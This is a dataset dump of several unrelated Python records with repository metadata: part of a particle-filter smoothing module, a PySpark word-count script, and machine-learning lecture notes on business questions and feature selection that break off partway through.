\"\"\"\n        Bs = [np.arange(self.N)]\n        for A in list(self.A)[-1:0:-1]:  # list in case self.A is a deque\n            Bs.append(A[Bs[-1]])\n        Bs.reverse()\n        return np.array(Bs)\n\nclass ParticleHistory(RollingParticleHistory):\n    \"\"\"Particle history.\n\n    A class to store the full history of a particle algorithm, i.e.\n    at each time t=0,...T, the N particles, their weights, and their ancestors.\n    Off-line smoothing algorithms are methods of this class.\n\n    `SMC` creates an object of this class when invoked with\n    ``store_history=True``, and then save at every time t the set of particles,\n    their weights (and their logarithm), and the ancestor variables.\n\n    Attributes\n    ----------\n    X: list\n        X[t] is the object that represents the N particles at iteration t\n    wgts: list\n        wgts[t] is a `Weights` object (see module `resampling`) that represents\n        the N weights at time t\n    A: list\n        A[t] is the vector of ancestor indices at time t\n\n    \"\"\"\n\n    def __init__(self, fk, qmc):\n        self.X, self.A, self.wgts = [], [], []\n        if qmc:\n            self.h_orders = []\n        self.fk = fk\n\n    def save(self, smc):\n        RollingParticleHistory.save(self, smc)\n        if hasattr(smc, 'h_order'):\n            self.h_orders.append(smc.h_order)\n\n    def extract_one_trajectory(self):\n        \"\"\"Extract a single trajectory from the particle history.\n\n        The final state is chosen randomly, then the corresponding trajectory\n        is constructed backwards, until time t=0.\n        \"\"\"\n        traj = []\n        for t in reversed(range(self.T)):\n            if t == self.T - 1:\n                n = rs.multinomial_once(self.wgts[-1].W)\n            else:\n                n = self.A[t + 1][n]\n            traj.append(self.X[t][n])\n        return traj[::-1]\n\n    def _check_h_orders(self):\n        if not hasattr(self, 'h_orders'):\n            raise ValueError('QMC FFBS requires particles have been Hilbert\\\n                             ordered during the forward pass')\n\n    def backward_sampling(self, M, linear_cost=False, return_ar=False):\n        \"\"\"Generate smoothing trajectories using FFBS.\n\n        FFBS (forward filtering backward smoothing) is a class of off-line\n        smoothing algorithms, which generate smoothing trajectories constructed\n        from the history of a particle filter.\n\n        Parameters\n        ----------\n        M: int\n            number of trajectories we want to generate\n        linear_cost: bool\n            if set to True, the O(N) version is used, see below.\n\n        return_ar: bool (default=False)\n            if set to True, change the output, see below.\n\n        Returns\n        -------\n        paths: a list of ndarrays\n            paths[t][n] is component t of trajectory m.\n        ar: float\n            the overall acceptance rate of the rejection procedure\n\n        Notes\n        -----\n\n        1. if ``linear_cost=False``, complexity is O(TMN); i.e. O(TN^2) for M=N;\n           if ``linear_cost=True``, complexity is O(T(M+N)), i.e. O(TN) for M=N.\n           This requires that model has method `upper_bound_trans`, which\n           provides the log of a constant C_t such that\n           :math:`p_t(x_t|x_{t-1}) \\leq C_t`.\n\n        2. main output is ``paths``, a list of T arrays such that\n           ``paths[t][m]`` is component t of trajectory m.\n\n        3. if ``linear_cost=True`` and ``return_ar=True``, output is tuple\n           ``(paths, ar)``, where ``paths`` is as above, and ``ar`` is the overall\n           acceptance rate (of the rejection steps that choose the ancestors);\n           otherwise output is simply ``paths``.\n        \"\"\"\n        idx = np.empty((self.T, M), dtype=int)\n        idx[-1, :] = rs.multinomial(self.wgts[-1].W, M=M)\n        if linear_cost:\n            ar = self._backward_sampling_ON(M, idx)\n        else:\n            self._backward_sampling_ON2(M, idx)\n        # When M=1, we want a list of states, not a list of arrays containing\n        # one state\n        if M == 1:\n            idx = idx.squeeze(axis=1)\n        paths = [self.X[t][idx[t]] for t in range(self.T)]\n        if linear_cost and return_ar:\n            return (paths, ar)\n        else:\n            return paths\n\n    def _backward_sampling_ON(self, M, idx):\n        \"\"\"O(N) version of backward sampling.\n\n        not meant to be called directly, see backward_sampling.\n        \"\"\"\n        nattempts = 0\n        for t in reversed(range(self.T - 1)):\n            where_rejected = np.arange(M)\n            who_rejected = self.X[t + 1][idx[t + 1, :]]\n            nrejected = M\n            gen = rs.MultinomialQueue(self.wgts[t].W, M=M)\n            while nrejected > 0:\n                nattempts += nrejected\n                nprop = gen.dequeue(nrejected)\n                lpr_acc = (self.fk.logpt(t + 1, self.X[t][nprop],\n                                            who_rejected)\n                           - self.fk.upper_bound_trans(t + 1))\n                newly_accepted = np.log(random.rand(nrejected)) < lpr_acc\n                still_rejected = np.logical_not(newly_accepted)\n                idx[t, where_rejected[newly_accepted]] = nprop[newly_accepted]\n                where_rejected = where_rejected[still_rejected]\n                who_rejected = who_rejected[still_rejected]\n                nrejected -= sum(newly_accepted)\n        return (M * (self.T - 1)) / nattempts\n\n    def _backward_sampling_ON2(self, M, idx):\n        \"\"\"O(N^2) version of backward sampling.\n\n        not meant to be called directly, see backward_sampling.\n        \"\"\"\n        for m in range(M):\n            for t in reversed(range(self.T - 1)):\n                lwm = (self.wgts[t].lw + self.fk.logpt(t + 1, self.X[t],\n                                                     self.X[t + 1][idx[t + 1, m]]))\n                idx[t, m] = rs.multinomial_once(rs.exp_and_normalise(lwm))\n\n    def backward_sampling_qmc(self, M):\n        \"\"\"QMC version of backward sampling.\n\n        Parameters\n        ----------\n        M : int\n            number of trajectories\n\n        Note\n        ----\n        Use this only on the history of a SQMC algorithm.\n        \"\"\"\n        self._check_h_orders()\n        u = qmc.sobol(M, self.T)\n        # the final particles have not been sorted\n        hT = hilbert.hilbert_sort(self.X[-1])\n        # searchsorted to avoid having to sort in place u according to u[:,T-1]\n        idx = np.searchsorted(np.cumsum(self.wgts[-1].W[hT]), u[:, -1])\n        paths = [self.X[-1][hT][idx], ]\n        for t in reversed(range(self.T - 1)):\n            idx = np.empty(M, dtype=np.int64)\n            for m, xn in enumerate(paths[-1]):\n                lwm = self.wgts[t].lw + self.fk.logpt(t + 1, self.X[t], xn)\n                # use ordered version here\n                cw = np.cumsum(rs.exp_and_normalise(lwm[self.h_orders[t]]))\n                idx[m] = np.searchsorted(cw, u[m, t])\n            paths.append(self.X[t][self.h_orders[t]][idx])\n        paths.reverse()\n        return paths\n\n\n#     def backward_sampling_lincost_pedagogical(self, M):\n#         \"\"\" O(N) FFBS\n#\n#             Don't use this! This is the *pedagogical* version of O(N) FFBS:\n#             code is simpler to understand, but quite slow, because it has loops\n#         \"\"\"\n#         if not hasattr(self.fk, 'upper_bound_trans'):\n#             raise ValueError('O(N) version of backward smoothing'\n#                              +'requires to specify constant upper_bound_trans(t)'\n#                              +' s.t. log p_t(x_t|x_{t-1})<upper_bound_trans(t)')\n#         idx = np.empty((self.T, M), dtype=int)\n#         idx[-1, :] = rs.multinomial(M, self.wgts[-1].W)\n#         nattempts = 0\n#         for t in xrange(self.T - 2, -1, -1):\n#             gen = rs.MulinomialQueue(M, self.wgts[t].W)\n#             for m in xrange(M):\n#                 while True:\n#                     nattempts += 1\n#                     nprop = gen.dequeue(1)\n#                     lpr_acc = (self.fk.logpt(t+1, self.X[t][nprop],\n#                                                 self.X[t+1][idx[t+1, m]])\n#                                -self.fk.upper_bound_trans(t+1))\n#                     if np.log(random.rand()) < lpr_acc:\n#                         break\n#                 idx[t, m] = nprop\n#         print('O(N) FFBS: acceptance rate is %1.2f' %\n#               (M * (self.T - 1) / nattempts))\n#         return [self.X[t][idx[t, :]] for t in range(self.T)]\n\n    def two_filter_smoothing(self, t, info, phi, loggamma, linear_cost=False,\n                             return_ess=False, modif_forward=None,\n                             modif_info=None):\n        \"\"\"Two-filter smoothing.\n\n        Parameters\n        ----------\n        t: time, in range 0 <= t < T-1\n        info: SMC object\n            the information filter\n        phi: function\n            test function, a function of (X_t,X_{t+1})\n        loggamma: function\n            a function of (X_{t+1})\n        linear_cost: bool\n            if True, use the O(N) variant (basic version is O(N^2))\n\n        Returns\n        -------\n        Two-filter estimate of the smoothing expectation of phi(X_t,x_{t+1})\n        \"\"\"\n        ti = self.T - 2 - t  # t+1 in reverse\n        if t < 0 or t >= self.T - 1:\n            raise ValueError(\n                'two-filter smoothing: t must be in range 0,...,T-2')\n        lwinfo = info.hist.wgts[ti].lw - loggamma(info.hist.X[ti])\n        if linear_cost:\n            return self._two_filter_smoothing_ON(t, ti, info, phi, lwinfo,\n                                               return_ess,\n                                               modif_forward, modif_info)\n        else:\n            return self._two_filter_smoothing_ON2(t, ti, info, phi, lwinfo)\n\n    def _two_filter_smoothing_ON2(self, t, ti, info, phi, lwinfo):\n        \"\"\"O(N^2) version of two-filter smoothing.\n\n        This method should not be called directly, see two_filter_smoothing.\n        \"\"\"\n        sp, sw = 0., 0.\n        upb = lwinfo.max() + self.wgts[t].lw.max()\n        if hasattr(self.fk, 'upper_bound_trans'):\n            upb += self.fk.upper_bound_trans(t + 1)\n        # Loop over n, to avoid having in memory a NxN matrix\n        for n in range(self.N):\n            omegan = np.exp(lwinfo + self.wgts[t].lw[n] - upb\n                            + self.fk.logpt(t + 1, self.X[t][n],\n                                               info.hist.X[ti]))\n            sp += np.sum(omegan * phi(self.X[t][n], info.hist.X[ti]))\n            sw += np.sum(omegan)\n        return sp / sw\n\n    def _two_filter_smoothing_ON(self, t, ti, info, phi, lwinfo, return_ess,\n                               modif_forward, modif_info):\n        \"\"\"O(N) version of two-filter smoothing.\n\n        This method should not be called directly, see two_filter_smoothing.\n        \"\"\"\n        if modif_info is not None:\n            lwinfo += modif_info\n        Winfo = rs.exp_and_normalise(lwinfo)\n        I = rs.multinomial(Winfo)\n        if modif_forward is not None:\n            lw = self.wgts[t].lw + modif_forward\n            W = rs.exp_and_normalise(lw)\n        else:\n            W = self.wgts[t].W\n        J = rs.multinomial(W)\n        log_omega = self.fk.logpt(t + 1, self.X[t][J], info.hist.X[ti][I])\n        if modif_forward is not None:\n            log_omega -= modif_forward[J]\n        if modif_info is not None:\n            log_omega -= modif_info[I]\n        Om = rs.exp_and_normalise(log_omega)\n        est = np.average(phi(self.X[t][J], info.hist.X[ti][I]), axis=0,\n                         weights=Om)\n        if return_ess:\n            return (est, 1. / np.sum(Om**2))\n        else:\n            return est\n\n\ndef smoothing_worker(method=None, N=100, fk=None, fk_info=None,\n                     add_func=None, log_gamma=None):\n    \"\"\"Generic worker for off-line smoothing algorithms.\n\n    This worker may be used in conjunction with utils.multiplexer in order to\n    run in parallel off-line smoothing algorithms.\n\n    Parameters\n    ----------\n    method: string\n         ['FFBS_ON', 'FFBS_ON2', 'FFBS_QMC',\n           'two-filter_ON', 'two-filter_ON_prop', 'two-filter_ON2']\n    N: int\n        number of particles\n    fk: Feynman-Kac object\n        The Feynman-Kac model for the forward filter\n    fk_info: Feynman-Kac object (default=None)\n        the Feynman-Kac model for the information filter; if None,\n        set to the same Feynman-Kac model as fk, with data in reverse\n    add_func: function, with signature (t, x, xf)\n        additive function, at time t, for particles x=x_t and xf=x_{t+1}\n    log_gamma: function\n        log of function gamma (see book)\n\n    Returns\n    -------\n    a dict with fields:\n        est: a ndarray of length T\n        cpu_time\n    \"\"\"\n    T = fk.T\n    if fk_info is None:\n        fk_info = fk.__class__(ssm=fk.ssm, data=fk.data[::-1])\n    est = np.zeros(T - 1)\n    if method=='FFBS_QMC':\n        pf = particles.SQMC(fk=fk, N=N, store_history=True)\n    else:\n        pf = particles.SMC(fk=fk, N=N, store_history=True)\n    tic = time.perf_counter()\n    pf.run()\n    if method in ['FFBS_ON', 'FFBS_ON2', 'FFBS_QMC']:\n        if method.startswith('FFBS_ON'):\n            z = pf.hist.backward_sampling(N, linear_cost=(method == 'FFBS_ON'))\n        else:\n            z = pf.hist.backward_sampling_qmc(N)\n        for t in range(T - 1):\n            est[t] = np.mean(add_func(t, z[t], z[t + 1]))\n    elif method in ['two-filter_ON2', 'two-filter_ON', 'two-filter_ON_prop']:\n        infopf = particles.SMC(fk=fk_info, N=N, store_history=True)\n        infopf.run()\n        for t in range(T - 1):\n            psi = lambda x, xf: add_func(t, x, xf)\n            if method == 'two-filter_ON2':\n                est[t] = pf.hist.two_filter_smoothing(t, infopf, psi, log_gamma)\n            else:\n                ti = T - 2 - t  # t+1 for info filter\n                if method == 'two-filter_ON_prop':\n                    modif_fwd = stats.norm.logpdf(pf.hist.X[t],\n                                          loc=np.mean(infopf.hist.X[ti + 1]),\n                                          scale=np.std(infopf.hist.X[ti + 1]))\n                    modif_info = stats.norm.logpdf(infopf.hist.X[ti],\n                                           loc=np.mean(pf.hist.X[t + 1]),\n                                           scale=np.std(pf.hist.X[t + 1]))\n                else:\n                    modif_fwd, modif_info = None, None\n                est[t] = pf.hist.two_filter_smoothing(t, infopf, psi, log_gamma,\n                                                     linear_cost=True,\n                                                     modif_forward=modif_fwd,\n                                                     modif_info=modif_info)\n    else:\n        print('no such method?')\n    cpu_time = time.perf_counter() - tic\n    print(method + ' took %.2f s for N=%i' % (cpu_time, N))\n    return {'est': est, 'cpu': cpu_time}\n", "meta": {"hexsha": "ab3617f09790e0d2ebdfe99e829611c7db4c61dc", "size": 21554, "ext": "py", "lang": "Python", "max_stars_repo_path": "particles/smoothing.py", "max_stars_repo_name": "sakira/particles", "max_stars_repo_head_hexsha": "8cec596553b517223597bb7f4999e0b5fea7d286", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "particles/smoothing.py", "max_issues_repo_name": "sakira/particles", "max_issues_repo_head_hexsha": "8cec596553b517223597bb7f4999e0b5fea7d286", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "particles/smoothing.py", "max_forks_repo_name": "sakira/particles", "max_forks_repo_head_hexsha": "8cec596553b517223597bb7f4999e0b5fea7d286", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3552859619, "max_line_length": 83, "alphanum_fraction": 0.5766911014, "include": true, "reason": "import numpy,from numpy,from scipy", "num_tokens": 5383, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1175721397294269, "lm_q1q2_score": 0.055116717057546324}}
{"text": "from __future__ import print_function\r\nimport sys\r\nimport re\r\nfrom operator import add\r\nimport numpy as np \r\nfrom pyspark import SparkContext\r\n\r\nif __name__ == \"__main__\":\r\n\r\n    sc = SparkContext(appName=\"LogisticRegression\")\r\n    \r\n    # Read the dataset \r\n    d_corpus = sc.textFile(sys.argv[1])\r\n    \r\n    # Each entry in validLines will be a line from the text file\r\n    validDocLines = d_corpus.filter(lambda x : 'id' in x and 'url=' in x)\r\n\r\n    # Now, we transform it into a set of (docID, text) pairs\r\n    keyAndText = validDocLines.map(lambda x : (x[x.index('id=\"') + 4 : x.index('\" url=')], x[x.index('\">') + 2:][:-6])) \r\n\r\n    # leveraged the code from assignment 2\r\n    # remove all non letter characters\r\n    regex = re.compile('[^a-zA-Z]')\r\n    keyAndWordsList = keyAndText.map(lambda x : (str(x[0]), regex.sub(' ', x[1]).lower().split()))\r\n    \r\n    # Now get the top 20,000 words... first change (docID, [\"word1\", \"word2\", \"word3\", ...])\r\n    # to (\"word1\", 1) (\"word2\", 1)...\r\n    conslidatedWords = keyAndWordsList.flatMap(lambda x: x[1]).map(lambda x: (x,1))\r\n\r\n    # Now, count all of the words, giving us (\"word1\", 1433), (\"word2\", 3423423), etc.\r\n    allCounts = conslidatedWords.reduceByKey(add)\r\n\r\n    # Get the top 20,000 words in a local array in a sorted format based on frequency\r\n    topWordsinDict = allCounts.top(20000, key = lambda x : x[1])\r\n\r\n    # We'll create a RDD that has a set of (word, dictNum) pairs\r\n    # start by creating an RDD that has the number 0 through 20000\r\n    # 20000 is the number of words that will be in our dictionary\r\n    top20000Words = sc.parallelize(range(20000))\r\n\r\n    # Now, we transform (0), (1), (2), ... to (\"MostCommonWord\", 1)\r\n    # (\"NextMostCommon\", 2), ...\r\n    # the number will be the spot in the dictionary used to tell us\r\n    # where the word is located\r\n    dictionary = top20000Words.map (lambda x : (topWordsinDict[x][0], x))\r\n\r\n    # Filter out the required five words\r\n    theFiveWords = dictionary.filter(lambda x: x[0] in {'applicant', 'and', 'attack', 'protein', 'car'})\r\n    listofFInalFiveWordsWithCount = theFiveWords.collect()\r\n    \r\n    # Set of required words\r\n    requiredWords  = {'applicant', 'and', 'attack', 'protein', 'car'}\r\n\r\n    print ('#'*5,'Word Postions in our Dictionary:','#'*5,'\\n')\r\n\r\n    # List to store the position of each of the five words\r\n    IntermediateResult = []\r\n\r\n    # Function to find and print the relevant positions of words from our dictionary\r\n    def findPos(requiredWords, listofFInalFiveWordsWithCount):\r\n      for i in requiredWords:\r\n        # Initialize a variable to check whether the required word is found or not\r\n        currItemFound = 0\r\n\r\n        # Initialize the position as -1\r\n        positionFound = -1\r\n\r\n        for j in range(len(listofFInalFiveWordsWithCount)):\r\n          # If the required word is found, change the value of the flag and assign the position found\r\n          if i in listofFInalFiveWordsWithCount[j]:\r\n            positionFound = listofFInalFiveWordsWithCount[j][1]\r\n            currItemFound = 1\r\n            \r\n        IntermediateResult.append((i, '->', positionFound))\r\n\r\n        # Print the positions and the required word\r\n        print(i, '->', positionFound)\r\n      return IntermediateResult\r\n\r\n    # Call the function to print answers for task 1\r\n    ansForTask1 = findPos(requiredWords, listofFInalFiveWordsWithCount)\r\n\r\n    # Save the results in a file\r\n    sc.parallelize(ansForTask1).coalesce(1, shuffle = False).saveAsTextFile(sys.argv[2])\r\n\r\n    sc.stop()\r\n", "meta": {"hexsha": "555c9b2d3d13640385425c74a3b2bfd0cdd668ce", "size": 3538, "ext": "py", "lang": "Python", "max_stars_repo_path": "main_task1.py", "max_stars_repo_name": "gagankaushal/LogisticRegression_AustralianCourtCase", "max_stars_repo_head_hexsha": "9ed763bc7016d012e90e90952f251a5cc421f9c0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main_task1.py", "max_issues_repo_name": "gagankaushal/LogisticRegression_AustralianCourtCase", "max_issues_repo_head_hexsha": "9ed763bc7016d012e90e90952f251a5cc421f9c0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main_task1.py", "max_forks_repo_name": "gagankaushal/LogisticRegression_AustralianCourtCase", "max_forks_repo_head_hexsha": "9ed763bc7016d012e90e90952f251a5cc421f9c0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.6666666667, "max_line_length": 121, "alphanum_fraction": 0.6435839457, "include": true, "reason": "import numpy", "num_tokens": 949, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.11757212426963223, "lm_q1q2_score": 0.05511670981013949}}
{"text": "# Business Objectives/Statistical Questions and Feature Selection\n\n*Hayley Boyce, May 12th, 2021*\n\n**Attribution:** \n\n- Tomas Beuzen - Previous BAIT 509 Lecture 6\n- Varada Kolhatkar - Heavily guiding me with Feature Selection\n\n# Importing our libraries\nimport pandas as pd\nimport altair as alt\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.dummy import DummyClassifier, DummyRegressor\nfrom sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor\nfrom sklearn.model_selection import cross_validate, train_test_split\nfrom sklearn import datasets\nfrom sklearn.linear_model import Ridge\n\nimport sys\nsys.path.append('code/')\nfrom display_tree import display_tree\nfrom plot_classifier import plot_classifier\nimport matplotlib.pyplot as plt\n\n# Preprocessing and pipeline\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.metrics.pairwise import euclidean_distances\nfrom sklearn.pipeline import Pipeline, make_pipeline\nfrom sklearn.compose import make_column_transformer\nfrom sklearn.linear_model import LogisticRegression\n\nfrom sklearn.preprocessing import OneHotEncoder, OrdinalEncoder, StandardScaler, MinMaxScaler\n\nimport scipy\nfrom sklearn.model_selection import RandomizedSearchCV\n\n## House Keeping \n\n- Project instructions are out!\n- Time in class for groups! \n- Assignment 3 was released yesterday!\n- More reading in this lecture than usual (sorry!) \n- Run code at your own risk (Think section can take up to 20 minutes so if you are running this locally, Start running everything NOW from top to bottom)\n\n## Lecture Learning Objectives \n\n- In the context of supervised learning, form statistical questions  from business questions/objectives.\n- Understand the different forms your client may expect you to communicate results. \n- Explain the general concept of feature selection.\n- Discuss and compare different feature selection methods at a high level.\n- Use sklearn's implementation of recursive feature elimination (RFE).\n- Implement the forward search algorithm.\n\n## Five Minute Recap/ Lightning Questions \n\n- What is the name of the function used to bound our values between 0 and 1\n- What is the name of the function that gives \"hard\" predictions?\n- What is the name of the function that gives \"soft\" predictions?\n- What is the hyperparameter we learned for Ridge and how does it affect the Fundamental Trade-off?\n- What is the hyperparameter we learned for Logistic Regression and how does it affect the Fundamental Trade-off?\n\n### Some lingering questions\n\n- How can we start forming good business questions that can be addressed with Machine Learning? \n- How to select features for our models? \n\n## Forming statistical questions to answer business objectives\n\nSo far you've seen how to solve predictive problems using machine learning but today, we are going to look at the process involved in asking the questions and problems faced by organizations. \n\n\nGenerally, there are four parts of a machine learning analysis. In order from high to low level:\n\n1. **The business question/objective**\n2. **The statistical question/objective**\n3. **The data and model**\n4. **The data product**\n\nDoing a machine learning analysis is about distilling from the highest level to the lowest level. As such, there are three distillations to keep in mind: 1-2, 2-3, and 3-4:\n\n- **1-2 is about asking the right questions**\n- **2-3 is about building a useful model**\n- **3-4 is about communicating the results**\n\n<center><img src=\"https://images.unsplash.com/photo-1511225317751-5c2d61819d58?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=2734&q=80\" width=\"50%\"></center>\n\n     \n     \n    \nNote that an analysis isn\u2019t a linear progression through these \u201csteps\u201d; rather, the process is iterative. This is because none of the components are independent. Making progress on any of the three distillations gives you more information as to what the problem is.\n\nWe\u2019ll look at each of these distillations in turn.\n\n## (1 - 2) Asking useful statistical questions\n\n- Usually, a company is not served up a machine learning problem, complete with data and a description of the response and predictors.\n    - Companies don't exactly know what question is the right question but they do know what they want  to be accomplished. \n- Instead, they\u2019re faced with some high-level objective/question that we\u2019ll call the **business question/objective**.\n- This question needs refining to a **statistical question/objective** \u2013 one that is directly addressable by machine learning.\n\nExample: \n\n- My Capstone Case study. \n\n### Business objectives: examples\n- This [altexsoft blog post](https://www.altexsoft.com/blog/business/supervised-learning-use-cases-low-hanging-fruit-in-data-science-for-businesses/) is a great introduction to business use cases of data science/ML\n- Examples of business objectives (for which machine learning is a relevant approach)\n    - Reduce the amount of spam email received\n    - Early prediction of product failure\n    - Find undervalued mines\n    - Make a transit system more efficient\n    - Hire efficient staff\n\n### Refining business objectives to statistical objectives\n\n<img src='https://media.giphy.com/media/bLcMOxvIak4iZieaut/giphy.gif' width=\"50%\"> \n\n- Statistical objectives need to be specific\n- Remember that supervised learning is about predicting a response $Y$ from predictors $X_1,\u2026,X_p$\n- So we need to refine our business objectives to a statistical question(s) we can answer\n- This typically involves:\n    - Identifying the **response variable** ($Y$) that is most aligned with the business objective.\n    - Identifying the **data** (observations + features) that will be used for model development/testing.\n    - Note: part of this is the task of feature selection (a topic that we've covered briefly) \u2013 but, this is also largely, a human decision based on what we think is more informative, as well as a resource questions (what data is actually available?)\n\n### Statistical objectives: examples\nStatistical objectives corresponding to the above business objective examples might be:\n\n| Business Objective | Statistical Question |\n| :--- | :--- |\n| Reduce the amount of spam email received | <ul><li>$Y$ = classifying an email as spam/not spam <li> $X$ = words present in name and the body of email and other metadata (sender email, time, etc.) <li> Cases of spam will be gathered over time as employees identify emails as spam/not spam. The model can be improved as misclassifications are encountered.</ul>\n| Early prediction of product failure (Kickstarter?) | <ul><li>$Y$ = classifying a product as faulty/not faulty <li> $X$ = Relevant features chosen by an expert <li> Data obtained from the test facility</ul>\n| Find undervalued mines | <ul><li>$Y$ = total volume of gold and silver at a site <li> $X$ =  concentrations of other minerals found in drill samples, geographic information, historical data, etc <li> Data obtained from mines where total volumes are already known</ul>\n| Make a transit system more efficient | <ul><li>$Y$ = predict the time it takes a bus to travel between set stops <li> $X$ = time of day/week/year, weather, etc. <li> Use data from company server tracking bus movements</ul>\n| Hire efficient staff | <ul><li>$Y$ = predict monthly sales <li> $X$ = a personality test, years of work experience, field of experience, etc. <li> Use data based on current employees</ul>\n\n### Statistical questions are not the full picture!\n- Almost always, the business objective is more complex than the statistical question.\n- By refining a business objective to a statistical one, we may lose part of the essence of the business objective.\n- It\u2019s important to have a sense of the ways in which your statistical objective falls short, and the ways in which it\u2019s on the mark, so that you keep an idea of the big picture.\n- For example, predicting whether a new staff hire will be efficient or not is a useful statistical question, but doesn't consider why a company might be attracting certain applicants, how long staff will remain, how staff work together, etc.\n\n### Statistical objectives unrelated to supervised learning\n\n- We are only focussing on statistical questions related to supervised learning and prediction in this course\n- But there are other kinds of questions you can ask too\n- Consider the following example\n\n**Business objective**: To gain insight into the productivity of two branches of a company.\n\nExamples of statistical questions:\n\n- **Hypothesis testing**: Is the mean number of sick days per employee different between two branches of a company?\n    - Supervised learning doesn\u2019t cover testing for differences.\n- **Unsupervised learning**: What is the mean sentiment of the internal discussion channels from both branches?\n    - There is no data of feature + response here, as required by supervised learning (by definition).\n- **Statistical inference**: Estimate the mean difference in monthly revenue generated by both branches, along with how certain you are with that estimate.\n    - Supervised learning typically isn\u2019t concerned about communicating how certain your estimate is. (BUT it should and progress is occuring to change this!)  \n\n## (2 - 3) Building a useful model\n- This is really the main focus of this course, This is the meat/beyond meat patty in your burger! \n- This involves using ML algorithms (kNN, loess, decision trees, etc) to build a predictive model from data\n- You always should include a baseline model to assess how well the models you build are giving you some leg up. \n- A simple model like logistic regression does as well as more complex approaches! At the very least, they can help guide you on what more complex approaches to take next.\n\n## (3 - 4) Communicating results\n\n- So you've distilled your business objectives to a statistical question.\n- You've developed a model to answer the statistical question.\n- Now your model needs to be delivered and used by others (or your future self)!\n- The final delivery is often called \"the data product\" because it may consist of a variety of things:\n    - a report\n    - a presentation\n    - an app\n    - a dashboard\n    - a software package/pipeline\n- Sometimes the client requests a specific data product -> But note that their suggestion might not always be the best option. \n    - Perhaps they request a report and presentation communicating your findings, when a more appropriate product also includes an interactive app that allows them to explore your findings for themselves.\n- Either way, the key here is communication. Two import challenges (relevant to your final project):\n    - Using appropriate language: there is a lot of jargon in ML, the key is to talk more about the output and the general idea of your model(s), but not machine learning or statistical jargon.\n    - Communication with visual design: this is about choosing what visuals are the most effective for communicating. -> Plug: https://viz-learn.mds.ubc.ca/en/\n- Usually, the first step is to set up a framework for your data product. For a report, this means outlining what you intend to write about, and where.\n- Showing it to your client is useful as a sanity check to see that you\u2019re about to produce something that the client currently sees as being potentially useful.\n\n## Let's Practice \n\n1\\. What question is usually more complex?    \n2\\. What model needs to be made for all problems?     \n3\\. In supervised learning, once we have our business objective, part of our statistical question is identifying what?    \n\n**True or False:**     \n\n4\\. When writing your reports, it's important to consider who is reading it.         \n5\\. Sometimes you may need to dig a little to figure out exactly what the client wants.         \n6\\. In supervised learning, we should take into consideration the uncertainty of our models.         \n\n```{admonition} Solutions!\n:class: dropdown\n\n1. Business question/objective\n2. Baseline - Dummy\n3. Our target variable\n4. True\n5. True\n6. True\n\n```\n\n## Feature Selection \n\n### Motivation \n\nRemember the curse of dimensionality? \n\n<img src='imgs/curse.png' width=\"50%\"> \n\nWe spoke about this briefly when we discussed $k$-nn and how when we add many different dimensions (features) it can confuse the model with any irrelevant features and the model can disintegrate into predictions no better than random guessing.\n\nReasons like this are why we need to be careful about which features we include.\n\n**Feature selection** can be described as *finding the features (columns) $X$ that are important for predicting $y$ and removing the features that aren\u2019t.*\n\nFeature selection can be aided using domain knowledge and manually however we can also use tools that help us either tell us:\n\n- which features are most important to a model \n- or that can select a number of features that will result with the optimal validation score. \n\ncities_df = pd.read_csv(\"data/canada_usa_cities.csv\")\ntrain_df, test_df = train_test_split(cities_df, test_size=0.2, random_state=123)\nX_train, y_train = train_df.drop(columns=[\"country\"], axis=1), train_df[\"country\"]\nX_test, y_test = test_df.drop(columns=[\"country\"], axis=1), test_df[\"country\"]\n\ntrain_df.head()\n\n### Feature importance \n\nRemember our Decision Tree models? Well, we can find out which features are most important in a model using an attribute called `feature_importances_`.\n\ndt_modelku_model = DecisionTreeClassifier(max_depth=5)\ndt_model.fit(X_train, y_train)\ndt_model.feature_importances_\n\nHere we can see that most of the importance is on the column `latitude`. \n\nX_train.columns\n\nIf we graph this, the root of the decision tree will usually reflect the top feature. Just like we can see here:\n\nsys.path.append('code/')\nfrom display_tree import display_tree\ndisplay_tree(X_train.columns, dt_model, \"imgs/decision_tree\")\n\n### New housing data \n\nI know at this point you are probably annoyed and bored of housing data, but good, interesting open-source data is hard to come by. For this example, I really want to show you an example with LOTS of features. \n\nHere is (yet another) housing dataset we acquired from [this GitHub repo](https://github.com/melindaleung/Ames-Iowa-Housing-Dataset), originally created by Dean De Cock. \n*(We are using the raw data so we do not need to store it and import it simply from the url.)*\n\n\n**Attribution:** \n\nThe Ames Housing dataset was compiled by Dean De Cock for use in data science education. \n\nHis publication can be found [here](http://jse.amstat.org/v19n3/decock.pdf).\n\names_df = pd.read_csv('https://raw.githubusercontent.com/melindaleung/Ames-Iowa-Housing-Dataset/master/data/ames%20iowa%20housing.csv', index_col=0)\names_df.loc[ames_df['SaleCondition'] != 'Normal', 'SaleCondition'] = 'Abnormal'\names_df\n\names_df.info()\n\nHere, we use `.info()` to identify our categorical and numeric features. I split my features and identify my target. \n\nThe target variable for this question is `SaleCondition` and we are doing classification.\n\ntrain_df, test_df = train_test_split(ames_df, test_size=0.2, random_state=77)\n\nX_train 